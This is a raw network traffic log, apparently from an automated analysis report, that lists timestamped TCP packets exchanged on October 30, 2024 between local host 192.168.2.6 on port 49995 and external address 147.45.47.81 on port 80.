Oct 30, 2024 15:44:46.009078979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.009465933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009511948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009524107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009536982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.009556055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009556055 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.009567976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009655952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009663105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009730101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.009754896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009768009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009773970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009780884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009785891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009792089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009798050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009804010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.009865999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.010490894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010502100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010516882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010529041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010540009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.010543108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010554075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010565996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010567904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.010588884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010606050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010612965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010616064 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.010618925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010624886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010631084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010643005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010649920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.010665894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.010710955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011538982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011594057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011595964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011652946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011686087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011694908 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011720896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011773109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011773109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011806965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011841059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011874914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011883020 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011909008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011924982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.011962891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.011996031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012002945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012031078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012063026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012072086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012096882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012135029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012139082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012387991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012430906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012439013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012474060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012507915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012516975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012542009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012577057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012579918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012645960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012686014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012698889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012732029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012769938 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012825012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012875080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012909889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012913942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.012942076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012975931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.012984991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013010979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013044119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013051987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013077974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013113022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013117075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013145924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013180971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013186932 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013212919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013248920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013252974 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013284922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013340950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013760090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013794899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013828039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013834000 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013860941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013901949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.013912916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013946056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013983965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.013988972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014019012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014055967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014062881 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014091015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014125109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014128923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014159918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014197111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014200926 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014234066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014267921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014269114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014302969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014338970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014343023 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014707088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014750004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014766932 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014816999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014849901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014857054 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014884949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014918089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014930010 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.014952898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014983892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.014993906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015017986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015049934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015055895 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015083075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015120029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015131950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015152931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015187979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015196085 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015222073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015254021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015263081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015290976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015335083 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015408039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015500069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015548944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015549898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015585899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015635967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015655041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015670061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015711069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015718937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015753031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015785933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015790939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015820026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015853882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015862942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015887022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015928030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015929937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.015964985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.015999079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016022921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016031027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016063929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016098976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016100883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016136885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016139984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016463041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016509056 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016516924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016566992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016602993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016624928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016652107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016686916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016690016 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016736984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016772032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016777039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016804934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016838074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016841888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016870975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016906023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016907930 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.016938925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016973019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.016979933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017005920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017039061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017043114 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017072916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017108917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017112970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017451048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017497063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017502069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017551899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017585993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017590046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017638922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017679930 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017688990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017721891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017755032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017760992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017787933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017818928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017821074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017853975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017887115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017894983 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017920017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017952919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.017956972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.017986059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018019915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018022060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018145084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018191099 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018265009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018297911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018331051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018345118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018363953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018402100 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018419981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018470049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018503904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018510103 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018536091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018568993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018577099 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018603086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018637896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018644094 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018670082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018703938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018708944 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018754005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018788099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018793106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018822908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018857002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018861055 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.018893003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.018932104 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019228935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019282103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019325018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019330978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019385099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019434929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019448042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019485950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019519091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019526005 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019552946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019589901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019593954 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019640923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019674063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019678116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019706964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019742012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019757986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019790888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019824982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019828081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019860029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019892931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019926071 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.019927979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019962072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.019967079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020061016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020107031 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020227909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020261049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020304918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020313025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020363092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020396948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020404100 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020428896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020462990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020468950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020495892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020529032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020536900 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020561934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020596981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020603895 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.020629883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020665884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.020673037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021097898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021142006 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021212101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021264076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021296978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021306992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021346092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021379948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021404982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021430969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021465063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021469116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021497965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021532059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021541119 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021565914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021599054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021600962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021631002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021665096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021687984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021697044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021735907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021739960 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021769047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021802902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021810055 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021857977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021891117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021900892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021923065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.021956921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.021956921 CET	80	49995	147.45.47.81	192.168.2.6
